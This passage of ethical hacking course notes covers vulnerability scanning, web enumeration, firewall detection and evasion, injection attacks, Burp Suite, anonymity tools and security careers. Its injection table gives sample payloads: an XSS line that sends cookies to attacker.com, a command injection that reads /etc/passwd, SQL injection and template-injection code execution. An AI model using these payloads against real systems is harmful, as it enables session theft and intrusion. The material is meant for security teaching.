OpenVAS (Open Vulnerability Assessment System), now maintained as part of the Greenbone Vulnerability Management (GVM) suite by Greenbone Networks, is a full-featured open-source

vulnerability scanner. It maintains a continuously updated feed of Network Vulnerability Tests (NVTs) — currently over 70,000 — that probe for known CVEs, misconfigurations, and service weaknesses across network hosts and web applications.

Source: Greenbone Networks — greenbone.net/en/products/gvm; LJU Syllabus — Practical 10: Vulnerability Assessment with OpenVAS

8.2.1 OpenVAS Architecture Components

- **GSA (Greenbone Security Assistant):** The web-based user interface for managing scans, viewing reports, and configuring scan policies. Accessible via browser at https://localhost:9392.
- **GVM Daemon (gvmd):** The core management daemon — orchestrates scan tasks, manages targets, stores results in a PostgreSQL database.
- **OpenVAS Scanner:** The scanning engine that executes NVT scripts against targets; communicates with gvmd via the Greenbone Vulnerability Protocol (GVP).
- **NVT Feed (Greenbone Feed):** The database of vulnerability tests — updated daily; includes tests for CVEs, default credentials, misconfigurations, and web vulnerabilities.
- **ospd-openvas:** The scanner daemon that provides the OSP (Open Scanner Protocol) interface between gvmd and the OpenVAS scanner engine.

8.2.2 OpenVAS Scan Workflow

- **Step 1 — Target Configuration:** Define the target's IP address or hostname, optionally supplying credentials for authenticated scanning (which detects significantly more vulnerabilities than unauthenticated scanning).
- **Step 2 — Scan Configuration:** Select a scan policy — Full and Fast, Full and Deep, or a custom policy. Full and Fast is the default for most assessments.
- **Step 3 — Task Creation and Execution:** Create a task associating the target and scan configuration; start the scan. Scan duration varies from minutes (unauthenticated) to hours (full authenticated deep scan of a complex network).
- **Step 4 — Report Analysis:** Results are classified by severity: Critical, High, Medium, Low, and Log. Each finding includes the CVE identifier, CVSS score, affected software, description, and remediation recommendation.
- **Step 5 — Remediation and Re-scan:** Address findings per CVSS priority; re-scan to verify that vulnerabilities have been successfully remediated.

8.3 Website Enumeration and OSINT Tools

Web server and website enumeration involves systematically probing a web server to discover its structure, technologies, hidden directories, files, and configuration details that may reveal attack vectors.

Tool	Function	Key Command
Nikto	Web server vulnerability scanner — tests for dangerous files, outdated software, server misconfigurations, and known CVEs against a web server	nikto -h http://target.com — scans the target web server for common vulnerabilities

Tool	Function	Key Command
Gobuster / Dirb	Directory and file brute-force tool — enumerates hidden directories and files by trying paths from a wordlist	gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
WhatWeb	Web technology fingerprinting — identifies CMS (WordPress, Drupal, Joomla), server software, JavaScript frameworks, and analytics tools	whatweb target.com — returns technology stack details
WPScan	WordPress-specific vulnerability scanner — enumerates WordPress plugins, themes, users, and known CVEs in installed components	wpscan --url http://target.com --enumerate u (enumerate users)
Burp Suite Spider	Crawls the web application mapping all endpoints, parameters, forms, and linked resources	Proxy → Spider → right-click → Spider this host (within Burp Suite)
curl / wget	Command-line HTTP clients — retrieve HTTP responses, headers, and redirect chains manually	curl -I http://target.com — retrieves HTTP response headers only
crt.sh	Certificate transparency log search — reveals subdomains registered in SSL/TLS certificates	Browser: crt.sh/?q=%25.target.com

8.4 Firewall Identification Techniques and Commands

Before mounting any attack or conducting authorised testing, ethical hackers identify whether a firewall is present, what type it is, and what rules govern traffic flow. This intelligence shapes the choice of evasion techniques.

Source: LJU Semester VII Syllabus — Unit 8.4: Firewall Identification Techniques and Commands

Technique	Command / Tool	What It Reveals
TTL-based detection	ping -c 4 target.com (Linux) / ping target.com (Windows)	Anomalous or inconsistent TTL values in ping responses may indicate a firewall or load balancer between the attacker and target
Port scan with filtered result	nmap -sS target.com	Ports returning 'filtered' in Nmap output indicate a firewall is silently dropping packets (vs. 'closed' = RST received, meaning no firewall)
ACK scan for firewall ruleset mapping	nmap -sA target.com	Ports returning no response = filtered (firewall present); RST = unfiltered (no firewall blocking that port). Maps the firewall rule policy without determining if ports are open.
Traceroute for firewall hop identification	traceroute target.com (Linux) / tracert target.com (Windows)	Identifies the network hop at which packets stop responding — often a firewall or NAT device; ICMP-based traceroute may be blocked; use TCP traceroute (nmap --traceroute) as an alternative

Technique	Command / Tool	What It Reveals
Firewall banner grabbing	nc -nv target.com 80 / curl -v http://target.com	Some firewalls (e.g., Cisco ASA, Palo Alto) return identifiable banners or HTTP error pages that reveal the firewall vendor and model
Fragmentation probe	nmap -f target.com	Sends fragmented IP packets — older or misconfigured packet filters may not reassemble fragments, allowing probes to pass through that would otherwise be blocked
Nmap firewall evasion techniques	nmap --source-port 53 target.com (source port spoofing)	Some firewalls allow traffic from DNS source port 53; this technique may bypass simple source-port-based rules
WAF detection	wafw00f http://target.com	Identifies the presence and type of Web Application Firewall by analysing HTTP response headers and behaviour differences in responses to crafted inputs

UNIT 9: WEB APPLICATION SECURITY IN ETHICAL HACKING

Web applications represent the most frequently targeted attack surface in modern cybersecurity. This unit provides in-depth coverage of web application enumeration, injection attack classes, Burp Suite as the industry-standard web security testing platform, and the systematic process for identifying and documenting web application vulnerabilities. This unit directly supports LJU Practical 8 (Burp Suite with OWASP Juice Shop) and Practical 3 (OWASP ZAP with DVWA).

9.1 Website Enumeration and Injection Techniques

9.1.1 Web Application Enumeration

Web application enumeration is the process of systematically mapping a web application's structure and identifying all accessible endpoints, parameters, hidden directories, and technology components prior to testing for vulnerabilities.

- **Spidering / Crawling:** Automated traversal of the web application following all hyperlinks to map the full endpoint tree. Tools: Burp Suite Spider, OWASP ZAP Spider, wget --mirror.
- **Directory brute-forcing:** Trying paths from a wordlist to discover files and directories not linked from any visible page. Tools: Gobuster, Dirb, ffuf.
- **Technology fingerprinting:** Identifying the technology stack from HTTP response headers (Server, X-Powered-By, Set-Cookie), HTML comments, file extensions, and error messages. Tools: WhatWeb, Wappalyzer browser extension.
- **Parameter discovery:** Identifying all GET and POST parameters the application accepts. Tools: Burp Suite Param Miner extension, Arjun.
- **API endpoint discovery:** Locating REST/GraphQL API endpoints from JavaScript files, Swagger/OpenAPI documentation, and error responses.
- **Robots.txt and sitemap.xml inspection:** These files often disclose directories that the site owner does not wish to be indexed — frequently revealing admin panels and backup files.

9.1.2 Injection Attack Classes

Injection attacks occur when untrusted data supplied by the user is sent to an interpreter (SQL engine, OS shell, LDAP server, XML parser) as part of a command or query, causing the interpreter to execute unintended commands.

Injection Type	Target Interpreter	Attack Payload Example	Countermeasure
SQL Injection (SQLi)	Relational database SQL engine (MySQL, MSSQL, PostgreSQL, Oracle)	' OR '1'='1'-- (authentication bypass); ' UNION SELECT username,password FROM users-- (data extraction)	Parameterised queries / prepared statements; stored procedures with input validation; WAF

Injection Type	Target Interpreter	Attack Payload Example	Countermeasure
Cross-Site Scripting (XSS)	Victim's browser — JavaScript interpreter	<script>document.location='http://attacker.com/?c='+document.cookie</script> (reflected or stored; steals session cookies)	Context-aware output encoding (HTML, JS, URL); Content Security Policy (CSP) header; HTTPOnly cookie flag
Command Injection (OS Injection)	Server-side OS shell (Bash, cmd.exe, PowerShell)	IP parameter: 127.0.0.1; cat /etc/passwd (Linux) or 127.0.0.1 & net user (Windows)	Avoid calling OS commands from application code; if unavoidable, use allowlists for permitted command arguments; never pass user input directly to shell
LDAP Injection	LDAP directory server (Active Directory, OpenLDAP)	Username: *)(&) — modifies LDAP query to match all entries, bypassing authentication	Use parameterised LDAP queries; validate and escape special LDAP characters: * ( ) \ / NUL
XML / XPath Injection	XML parser / XPath query engine	' or '1'='1 — injected into XPath query to retrieve all XML nodes	Avoid dynamic XPath construction; use parameterised XPath libraries; validate XML input
NoSQL Injection	NoSQL database query engine (MongoDB, CouchDB)	{$gt:''} injected into a MongoDB query — matches all documents bypassing field comparison	Avoid building queries by string concatenation; validate input types; use MongoDB ODM libraries
Server-Side Template Injection (SSTI)	Server-side template engine (Jinja2, Twig, Freemarker)	{{7*7}} — if the template engine evaluates it and returns 49, SSTI is confirmed; can lead to RCE via __import__('os').popen('id').read()	Avoid rendering user-supplied input through template engines; use sandboxed templates; upgrade to secure template engines with disabled code execution

9.2 Burp Suite for Injection Testing

Burp Suite, developed by PortSwigger, is the industry-standard integrated platform for web application security testing. Used by professional penetration testers, bug bounty hunters, and security researchers worldwide, it provides a comprehensive toolset for intercepting, modifying, replaying, and automating HTTP/HTTPS requests. The Community Edition (free) covers the core tools used in ethical hacking education.

Source: PortSwigger — portswigger.net/burp; LJU Syllabus — Practical 8: Using Burp Suite for Web Application Testing (Burp Suite, OWASP Juice Shop)

9.2.1 Burp Suite Core Tools

Burp Tool	Function	Ethical Hacking Use Case
Proxy	Intercepts and allows modification of HTTP/HTTPS traffic between browser and server. Requires browser proxy configuration (127.0.0.1:8080) and Burp's CA certificate installed.	Intercept login requests to view and modify submitted credentials; capture form parameters for manual injection testing; observe session token format for predictability analysis
Repeater	Manually resend a modified HTTP request repeatedly and observe the response. Essential for testing whether a parameter is injectable.	Test SQL injection payloads one at a time; test different XSS vectors; confirm IDOR vulnerabilities by changing object reference IDs in the request
Intruder	Automates customised attack payloads across one or more parameters. Supports Sniper, Battering Ram, Pitchfork, and Cluster Bomb attack modes.	Credential brute-force against login forms; fuzzing parameters for SQLi; enumerating valid user IDs or account numbers via IDOR testing
Scanner (Pro only)	Automated vulnerability scanning of the web application — discovers SQL injection, XSS, CSRF, SSRF, and other OWASP Top 10 vulnerabilities.	Rapid vulnerability discovery during time-limited assessments; generates a prioritised finding list for manual validation
Decoder	Encodes and decodes data in Base64, URL encoding, HTML encoding, hex, gzip, and other formats.	Decode JWT tokens; URL-decode intercepted parameters; encode payloads to bypass simple input filters
Comparer	Performs byte-level or word-level comparison between two HTTP messages.	Compare responses to valid vs. invalid requests to identify subtle differences that indicate vulnerability (e.g., timing differences in authentication responses)
Collaborator (Pro only)	External server that receives out-of-band interactions — used to detect SSRF, blind SQL injection, and blind XSS.	Detect blind injection vulnerabilities that produce no visible output change in the application's HTTP response

9.2.2 Setting Up Burp Suite for Web Application Testing (Step-by-Step)

- **Step 1:** Launch Burp Suite → select 'Temporary Project' → use default settings → click 'Start Burp'.
- **Step 2:** Configure browser proxy — set HTTP proxy to 127.0.0.1 port 8080 in browser network settings.
- **Step 3:** Install Burp's CA certificate — navigate to http://burp in the browser → download certificate → import to browser trust store (Certificates → Authorities → Import).
- **Step 4:** Verify interception — enable Proxy → Intercept → 'Intercept is on'; browse to target application; confirm requests appear in Burp's Proxy → HTTP History tab.
- **Step 5:** For manual testing — right-click any intercepted request → 'Send to Repeater' → modify parameters → click 'Send' → analyse response.
- **Step 6:** For automated parameter testing — right-click → 'Send to Intruder' → mark injection points → load payload list → start attack → analyse response codes and lengths.

9.3 Vulnerability Identification in Web Applications

Systematic vulnerability identification follows a structured methodology that combines automated scanning with manual verification. Automated tools (Burp Scanner, OWASP ZAP) produce a baseline of findings; manual testing validates, contextualises, and extends these findings to cover business logic flaws that automated tools cannot detect.

9.3.1 CVSS — Common Vulnerability Scoring System

The Common Vulnerability Scoring System (CVSS) is the industry-standard framework for rating the severity of security vulnerabilities. The current version is CVSS v3.1, maintained by FIRST (Forum of Incident Response and Security Teams). Every NVD/CVE entry carries a CVSS score used to prioritise remediation.

Source: FIRST — first.org/cvss; National Vulnerability Database (NVD) — nvd.nist.gov

CVSS Score Range	Severity Rating	Typical Remediation SLA
0.0	None	No action required
0.1 – 3.9	Low	Patch within 90 days; monitor for exploitation
4.0 – 6.9	Medium	Patch within 30 days; implement compensating controls
7.0 – 8.9	High	Patch within 15 days; immediate compensating controls required
9.0 – 10.0	Critical	Emergency patch — treat as incident; patch within 24–72 hours

9.3.2 Web Application Vulnerability Assessment Methodology

- **Phase 1 — Passive Analysis:** Review application without interacting — inspect page source, JavaScript files, robots.txt, sitemap.xml, HTTP response headers for technology indicators.
- **Phase 2 — Authentication Testing:** Test for weak passwords, account enumeration (different error messages for valid vs. invalid usernames), missing account lockout, and MFA bypass techniques.
- **Phase 3 — Authorisation Testing:** Verify that access controls are enforced server-side — test IDOR by manipulating object reference IDs; test privilege escalation by accessing admin-only endpoints as a low-privilege user.
- **Phase 4 — Input Validation Testing:** Inject payloads in all user-controllable inputs — URL parameters, form fields, HTTP headers (User-Agent, Referer, X-Forwarded-For), cookies, and JSON/XML body parameters.
- **Phase 5 — Session Management Testing:** Analyse session token entropy (predictability), test for session fixation, verify that tokens are invalidated on logout, and check cookie security attributes (HttpOnly, Secure, SameSite).
- **Phase 6 — Business Logic Testing:** Test for multi-step process bypasses, negative quantity inputs in e-commerce applications, race conditions in concurrent requests, and trust boundary violations between application tiers.
- **Phase 7 — Reporting:** Document each finding with: Title, CVSS score, affected URL, request/response evidence (HTTP traffic from Burp), remediation recommendation, and references (CVE, CWE, OWASP).

UNIT 10: STAYING SAFE AND ETHICAL IN ETHICAL HACKING

The final unit addresses the operational security (OPSEC) practices that ethical hackers and security researchers adopt to protect their own identity and systems during engagements, surveys real-world ethical hacking applications across industries, and provides a comprehensive overview of ethical hacking as a professional career path — including current salary benchmarks, certifications, job roles, and future trends shaping the field.

10.1 VPNs, Anonymity, and Safe Practices

Ethical hackers must protect their own infrastructure and identity during security assessments. While an engagement is legally authorised, exposing the attacker's real IP to the target's logs can compromise the stealth objectives of a red team exercise and expose the tester to potential counter-attacks or misidentification. Anonymity tools also ensure that reconnaissance activities do not prematurely alert the target.

10.1.1 VPN (Virtual Private Network)

A VPN encrypts all traffic between the user's device and a remote VPN server, tunnelling it through an encrypted channel. The target's systems see the VPN server's IP address rather than the tester's real IP. VPNs use tunnelling protocols including OpenVPN, WireGuard, IPSec/IKEv2, and L2TP/IPSec.

Source: Infosec Institute — "Penetration Testing: TOR, VPN or Proxy." infosecinstitute.com/resources/penetration-testing/penetration-testing-tor-vpn-or-proxy; Pristine Training — "Top 4 Tools Ethical Hackers Use to Hide Their Identity." pristinetraining.in/blog (Dec 2025)

Property	VPN	TOR (The Onion Router)	Proxy Server
Anonymity Level	Medium — VPN provider knows the real IP	High — traffic routes through 3+ encrypted relays; exit node IP is all that's visible to target	Low — proxy operator can see real IP; no encryption by default
Encryption	Full tunnel encryption of all traffic (OpenVPN uses AES-256-GCM, TLS 1.3)	Multi-layer encryption — each relay removes one layer (onion routing)	None by default; HTTPS proxy encrypts only if CONNECT method is used
Speed	Fast to moderate — one server hop	Slow — three or more relay hops with encryption/decryption at each	Fast — single hop, minimal overhead
Traceability	Trust the VPN provider's no-log policy; subpoena risk remains	Very difficult to trace — no single entity sees both source IP and destination	Low anonymity — proxy logs usually retained
Best Use in Ethical Hacking	Reconnaissance, masking real IP during authorised scans, accessing lab environments securely	Anonymous OSINT and dark web research; highly sensitive investigations	Rotating IP addresses for web scraping; simple IP masking for low-risk activities

Property	VPN	TOR (The Onion Router)	Proxy Server
Limitation	Provider may retain logs; VPN IP ranges are often blacklisted by target web applications	Exit nodes can be monitored; very slow for active scanning or exploitation work	No encryption — all traffic visible to proxy operator and network-path observers

10.1.2 TOR (The Onion Router)

TOR routes traffic through a volunteer-operated network of encrypted relays — typically three nodes: a Guard node (knows the user's IP), a Middle relay (knows only adjacent nodes), and an Exit node (sends traffic to the destination; knows the destination but not the originating IP). Each hop removes one layer of encryption.

- Used by ethical hackers for anonymous OSINT — accessing dark web threat intelligence forums, monitoring paste sites for leaked credentials, and researching threat actor infrastructure.
- TOR Browser is the primary access method. Alternatively, torsocks routes command-line tools through TOR: torsocks nmap -sT target.com
- TOR exit nodes may be monitored by intelligence agencies — avoid transmitting unencrypted sensitive data through TOR; layer with HTTPS.
- TOR is too slow for active scanning — port scans and exploitation generate high traffic volumes incompatible with TOR's latency.

10.1.3 Proxy Chains and MAC Spoofing

- **Proxychains:** Routes TCP connections through a chain of multiple proxy servers sequentially — each proxy adds one hop, making attribution progressively more difficult. Configuration: /etc/proxychains.conf. Usage: proxychains nmap -sT target.com
- **MAC Address Spoofing:** Changes the hardware MAC address of the NIC to a different value to prevent attribution via Layer 2 logs. Command (Linux): sudo ip link set eth0 down && sudo ip link set eth0 address XX:XX:XX:XX:XX:XX && sudo ip link set eth0 up. Tool: macchanger -r eth0 (assigns a random MAC address).
- **AnonSurf (Kali Linux):** Routes all system traffic through TOR automatically, ensuring no traffic leaks outside the TOR network. Commands: anonsurf start | anonsurf status | anonsurf stop

10.1.4 Operational Security (OPSEC) Practices for Ethical Hackers

- Always conduct assessments from a dedicated, isolated test machine — never from a personal device connected to personal accounts or services.
- Use a separate Internet connection (lab network or isolated VLAN) for all testing activities.
- Maintain a detailed engagement log — timestamps, commands executed, systems accessed, and findings documented in real time. This protects the ethical hacker legally.
- Never store sensitive client data (credentials, PII discovered during testing) on cloud storage services. Use encrypted local storage (VeraCrypt volumes).
- Destroy all copies of sensitive data discovered during the engagement immediately after the final report is delivered, per the Rules of Engagement.
- Verify scope before each action — confirm that every system you intend to test is explicitly listed in the authorisation document.

10.2 Real-World Applications of Ethical Hacking

Ethical hacking methodologies are applied across every sector of the economy where digital systems process, store, or transmit valuable or sensitive data.

Industry Sector	Ethical Hacking Application	Regulatory Driver
Banking and Financial Services	Annual penetration testing of internet banking portals, ATM networks, mobile banking applications, and internal financial systems. Red team exercises simulating advanced persistent threats (APTs).	RBI Master Directions on IT Framework; PCI DSS (mandatory for all card data handlers); SWIFT Customer Security Programme (CSP)
Healthcare	Vulnerability assessment of Electronic Health Record (EHR) systems, medical IoT devices (connected infusion pumps, pacemaker management systems), and hospital networks.	HIPAA Security Rule (USA); DISHA (Digital Information Security in Healthcare Act, India — proposed); ISO/IEC 27001
Government and Defence	Red team exercises against national critical infrastructure — power grids, water treatment SCADA systems, e-governance portals, and defence communication networks.	CERT-In Guidelines; MeitY Cybersecurity Framework; National Critical Information Infrastructure Protection Centre (NCIIPC) directives
E-Commerce and Retail	Web application penetration testing of shopping portals, payment gateways, and API backends. Source code review of checkout and payment processing logic.	PCI DSS (mandatory); GDPR (EU customers); Consumer Protection (E-Commerce) Rules 2020 (India)
Telecommunications	Assessment of SS7 (Signalling System 7) vulnerabilities, 4G/5G core network security, VoIP infrastructure, and roaming authentication mechanisms.	TRAI Cybersecurity Regulations; ITU-T X.805 Security Architecture
Software Development Companies	Secure code review (SAST), dynamic application security testing (DAST), and penetration testing integrated into the CI/CD pipeline (DevSecOps).	ISO/IEC 27034 (Application Security); OWASP SAMM; customer contractual SLAs
Bug Bounty Programmes	Organisations including Google, Microsoft, Meta, Flipkart, and government agencies (NCSC UK, CISA USA) operate public bug bounty programmes paying researchers for verified vulnerabilities.	HackerOne and Bugcrowd platform policies; individual programme scopes and legal safe harbours

10.3 Ethical Hacking as a Profession and Future Trends

10.3.1 Career Roles in Ethical Hacking

Source: Boston Institute of Analytics — "Is Ethical Hacking a Lucrative Career in 2026?" bostoninstituteofanalytics.org/blog (May 2026); CuroMinds — "Ethical Hacking Career India 2026." curominds.com/blog/ethical-hacking-career

Role	Primary Responsibility	Key Certifications
Penetration Tester	Conducts authorised simulated attacks on systems, networks, and web applications to identify and document exploitable vulnerabilities before malicious actors do	CEH, OSCP, CPENT, eJPT
Red Team Operator	Simulates advanced persistent threat (APT) actors in long-duration, multi-vector engagements testing an organisation's full detection and response capabilities	CRTO (Certified Red Team Operator), CRTE, PNPT
SOC Analyst (L1/L2/L3)	Monitors SIEM dashboards for security alerts; investigates and triages incidents; escalates confirmed breaches to incident response teams	CompTIA Security+, CEH, SC-200 (Microsoft), CSA
Security Engineer	Designs and implements security controls — firewalls, WAFs, SIEM pipelines, IDS/IPS, and identity management systems — to protect organisational infrastructure	CISSP, CCSP, AWS/Azure Security Specialty
Incident Responder	Leads the technical response to confirmed security breaches — containment, eradication, forensic investigation, and recovery	GCFE, GCIH, ECIH, EnCE
Bug Bounty Researcher	Independently discovers and responsibly discloses vulnerabilities in organisations' systems through formal bug bounty programmes, earning rewards per valid finding	CEH, OSCP, BSCP (PortSwigger)
Cybersecurity Consultant	Advises organisations on security strategy, risk management, compliance, and security programme maturity improvement	CISSP, CISM, CISA
Threat Intelligence Analyst	Collects, analyses, and distributes actionable intelligence about threat actors, campaigns, TTPs, and indicators of compromise (IoCs)	CTIA, GCTI

10.3.2 Salary Benchmarks in India (2026)

The following salary ranges reflect 2026 data for ethical hacking and cybersecurity roles in India across experience levels.

Source: NovelVista — "Ethical Hacker Salary in India 2026." novelvista.com/blogs/security; Boston Institute of Analytics — bostoninstituteofanalytics.org/blog (May 2026); NASSCOM Cybersecurity Study 2024 (India will require 1.5 million cybersecurity professionals by 2025)

Experience Level	Typical Role	Annual Salary Range (INR)
Entry Level (0–2 years)	Junior Penetration Tester, SOC Analyst L1, Security Associate	Rs. 3,50,000 – Rs. 6,00,000 per annum
Mid Level (2–5 years)	Penetration Tester, SOC Analyst L2/L3, Security Engineer	Rs. 7,00,000 – Rs. 12,00,000 per annum
Senior Level (5–10 years)	Senior Penetration Tester, Red Team Lead, Security Architect	Rs. 12,00,000 – Rs. 22,00,000 per annum

Experience Level	Typical Role	Annual Salary Range (INR)
Expert / Leadership (10+ years)	CISO, Security Director, Principal Consultant, Red Team Manager	Rs. 22,00,000 – Rs. 50,00,000+ per annum
Freelance Bug Bounty Researcher	Independent vulnerability researcher reporting through HackerOne, Bugcrowd, or direct programmes	Rs. 50,000 – Rs. 10,00,000 per verified critical vulnerability (variable)

10.3.3 Key Certifications Pathway

Level	Certification	Issuing Body	Primary Focus
Foundational	Ethical Hacking Essentials (EHE)	EC-Council	Introductory ethical hacking concepts — 12 modules, 47 labs. Prerequisite to CEH.
Foundational	CompTIA Security+	CompTIA	Baseline cybersecurity concepts; compliance; risk management. Globally recognised.
Intermediate	Certified Ethical Hacker (CEH) v13	EC-Council	20 modules covering the full ethical hacking lifecycle; 220+ hands-on labs.
Intermediate	eJPT (eLearnSecurity Junior Penetration Tester)	INE / eLearnSecurity	Practical penetration testing fundamentals; 100% hands-on exam.
Advanced	OSCP (Offensive Security Certified Professional)	Offensive Security	Gruelling 24-hour practical exam; requires rooting 5 machines in a live lab environment.
Advanced	CPENT (Certified Penetration Testing Professional)	EC-Council	Advanced multi-layer network penetration testing including IoT, OT, and cloud environments.
Expert	CISSP	ISC2	Gold standard for security leadership; 8 domains covering the full security programme.
Specialist	BSCP (Burp Suite Certified Practitioner)	PortSwigger	Advanced web application security testing certification using Burp Suite.

10.3.4 Future Trends in Ethical Hacking (2025–2030)

Source: PenCap — "Ethical Hacker Salary in India 2025." pencap.in/blog; EC-Council, CEH v13 — AI Integration in Ethical Hacking. eccouncil.org; NASSCOM Cybersecurity Study 2024

- **AI-Augmented Penetration Testing:** EC-Council's CEH v13 integrates AI into all 5 phases of ethical hacking. AI tools automate reconnaissance (faster OSINT aggregation), vulnerability scanning (ML-based anomaly detection), and report generation. Ethical hackers who understand how to leverage AI for offensive security will command premium compensation.
- **Cloud Security Penetration Testing:** As enterprises migrate to AWS, Azure, and GCP, demand for penetration testers with expertise in cloud IAM misconfiguration, S3 bucket exposure, Kubernetes security, and serverless function exploitation is rising rapidly.
- **AI Security and LLM Red Teaming:** A new discipline of adversarial testing targeting Large Language Models — prompt injection, model extraction, training data poisoning, and guardrail

bypass. EC-Council's COASP (Certified Offensive AI Security Professional) addresses this emerging specialisation.

- **IoT and OT (Operational Technology) Security:** Connected devices in manufacturing, healthcare, and smart cities are increasingly targeted. Ethical hackers with expertise in SCADA/ICS security, industrial protocols (Modbus, DNP3, IEC 61850), and firmware analysis are in very high demand.
- **Zero Trust Architecture (ZTA) Assessment:** Evaluating whether an organisation's implementation of Zero Trust principles (never trust, always verify; least privilege; micro-segmentation) withstands adversarial testing.
- **Bug Bounty Programme Growth:** Global bug bounty programmes paid out over USD 300 million cumulatively by 2026 (HackerOne platform data). Indian bug bounty researchers have earned Rs. 50,000 – Rs. 2,00,000 finding their first bugs in major companies while still studying.
- **Cybersecurity Workforce Gap:** The global cybersecurity professional shortage is projected at 3.5 million unfilled positions by 2025 (ISC2 / Cybersecurity Ventures). India alone will require 1.5 million cybersecurity professionals by 2025 against a current supply of less than 40% of that demand (NASSCOM 2024). This structural deficit ensures long-term career security for qualified practitioners.
- **Regulatory Expansion:** SEBI's cybersecurity framework for stock exchanges, RBI's enhanced IT governance directives, and CERT-In's mandatory incident reporting requirements (6-hour reporting window from May 2022) are driving demand for penetration testing services across Indian regulated entities.

REFERENCES, TEXTBOOKS, AND LEARNING RESOURCES

A. Primary Reference Textbooks

#	Title	Author(s)	Publisher
1	The Web Application Hacker's Handbook (2nd Ed.)	Dafydd Stuttard, Marcus Pinto	Wiley, 2011
2	Hacking: The Art of Exploitation (2nd Ed.)	Jon Erickson	No Starch Press, 2008
3	Penetration Testing: A Hands-On Introduction to Hacking	Georgia Weidman	No Starch Press, 2014
4	Metasploit: The Penetration Tester's Guide	David Kennedy, Jim O'Gorman, Devon Kearns, Mati Aharoni	No Starch Press, 2011
5	Cybersecurity and Cyberwar: What Everyone Needs to Know	P.W. Singer, Allan Friedman	Oxford University Press, 2014
6	The Hacker Playbook 3: Practical Guide to Penetration Testing	Peter Kim	Secure Planet LLC, 2018
7	The Web Application Hacker's Handbook (2nd Ed.) — also reference for Unit 9	Dafydd Stuttard, Marcus Pinto	Wiley, 2011

B. EC-Council Official Resources

- EC-Council, Ethical Hacking Essentials (EHE) — Official Programme Page. eccouncil.org/train-certify/ethical-hacking-essentials-ehe [Accessed July 2026]
- EC-Council, EHE Modules 1–12 via iClass. iclass.eccouncil.org/our-courses/ethical-hacking-essentials
- EC-Council, Certified Ethical Hacker (CEH) v13. eccouncil.org/train-certify/certified-ethical-hacker-ceh
- EC-Council, "How to Use the Metasploit Framework for Penetration Testing." eccouncil.org/cybersecurity-exchange/penetration-testing/metasploit-framework-for-penetration-testing
- EC-Council, "Metasploit Framework Guide." eccouncil.org/cybersecurity-exchange/ethical-hacking/metasploit-framework-guide
- EC-Council, "Seven Steps of Cyber Kill Chain." eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack
- EC-Council, Code of Ethics. eccouncil.org/code-of-ethics

C. OWASP Foundation

- OWASP Foundation — owasp.org
- OWASP Top 10:2021 — owasp.org/Top10/2021
- OWASP Top 10:2025 (announced Nov 2025) — owasp.org/Top10/2025

• OWASP ZAP (Zed Attack Proxy) — zaproxy.org
• OWASP Juice Shop — owasp.org/www-project-juice-shop
• OWASP DVWA — dvwa.co.uk
• OWASP Testing Guide v4.2 — owasp.org/www-project-web-security-testing-guide
• OWASP ASVS (Application Security Verification Standard) — owasp.org/www-project-application-security-verification-standard

D. NIST, Government, and Standards Publications

• NIST SP 800-30 Rev. 1 — Guide for Conducting Risk Assessments. doi.org/10.6028/NIST.SP.800-30r1
• NIST SP 800-41 Rev. 1 — Guidelines on Firewalls and Firewall Policy.
• NIST SP 800-115 — Technical Guide to Information Security Testing and Assessment.
• NIST SP 1800-26 — Data Integrity: Detecting and Responding to Ransomware.
• NVD (National Vulnerability Database) — nvd.nist.gov
• MITRE ATT&CK; Framework — attack.mitre.org
• MITRE CVE Database — cve.mitre.org
• FIRST CVSS v3.1 Specification — first.org/cvss
• India — IT Act 2000 (amended 2008). indiacode.nic.in
• CERT-In Cybersecurity Guidelines — cert-in.org.in
• RBI Master Directions on Information Technology Framework for Banks — rbi.org.in
• Council of Europe — Budapest Convention on Cybercrime (ETS No. 185). coe.int

E. Peer-Reviewed Research Papers

• PeerJ Computer Science — Table A1: OWASP Top 10:2021 List. doi.org/10.7717/peerj-cs.2821 (April 2025)
• Zenodo — "Differences Between Information Security and Cybersecurity" (June 2025). doi.org/10.5281/zenodo.15625675
• arXiv:2207.10466 — "High-Level Approaches to Hardware Security: A Tutorial" (CIA Triad in hardware security)
• arXiv:2310.04513 — "A Survey of Data Security: Practices from Cybersecurity and Challenges of Machine Learning"
• IBM, Cost of a Data Breach Report 2024 — ibm.com/security/data-breach
• Verizon, Data Breach Investigations Report (DBIR) 2024 — enterprise.verizon.com/resources/reports/dbir
• ISC2 Cybersecurity Workforce Study 2023 — isc2.org/research
• NASSCOM Cybersecurity Study 2024 (India — 1.5M professional requirement by 2025)
• Rapid7, Metasploit Framework 2024 Annual Wrap-up — rapid7.com/blog

F. Open-Source Tools — Official Documentation

- Metasploit Framework — docs.metasploit.com / metasploit.com
- Burp Suite — portswigger.net/burp
- PortSwigger Web Security Academy (free interactive labs) — portswigger.net/web-security
- Nmap — nmap.org/docs.html
- Wireshark — wireshark.org/docs
- OpenVAS / Greenbone Vulnerability Management — greenbone.net/en/products/gvm
- SQLMap — sqlmap.org
- theHarvester — github.com/laramies/theHarvester
- Amass — github.com/owasp-amass/amass
- Gobuster — github.com/OJ/gobuster
- Nikto — cirt.net/nikto2
- WhatWeb — morningstarsecurity.com/research/whatweb
- Maltego — maltego.com
- wafw00f — github.com/EnableSecurity/wafw00f
- TOR Project — torproject.org
- Kali Linux — kali.org

G. Recommended Online Courses and Video Lectures

- "Ethical Hacking Full Course" [8 hours] — YouTube channel: Invent Your Shit. Search: 'Ethical Hacking Full Course Invent Your Shit' on youtube.com
- EC-Council EHE on Coursera — coursera.org/learn/ethical-hacking-essentials-ehe
- EC-Council EHE on edX — edx.org/learn/information-security/ec-council-ethical-hacking-essentials-ehe
- TryHackMe — Practical guided labs for beginners through advanced. tryhackme.com
- HackTheBox — Advanced penetration testing practice. hackthebox.com
- PortSwigger Web Security Academy — Free, interactive web security labs. portswigger.net/web-security
- Cybrary — Free cybersecurity courses. cybrary.it
- Offensive Security — Metasploit Unleashed (free course). offensive-security.com/metasploit-unleashed
- SANS Institute — Free Security Reading Room (research papers). sans.org/reading-room
- IIT Bombay CSE Department — cse.iitb.ac.in (official IIT cybersecurity research forums)
- IISc Bangalore CSA Department — csa.iisc.ac.in (cybersecurity research publications)

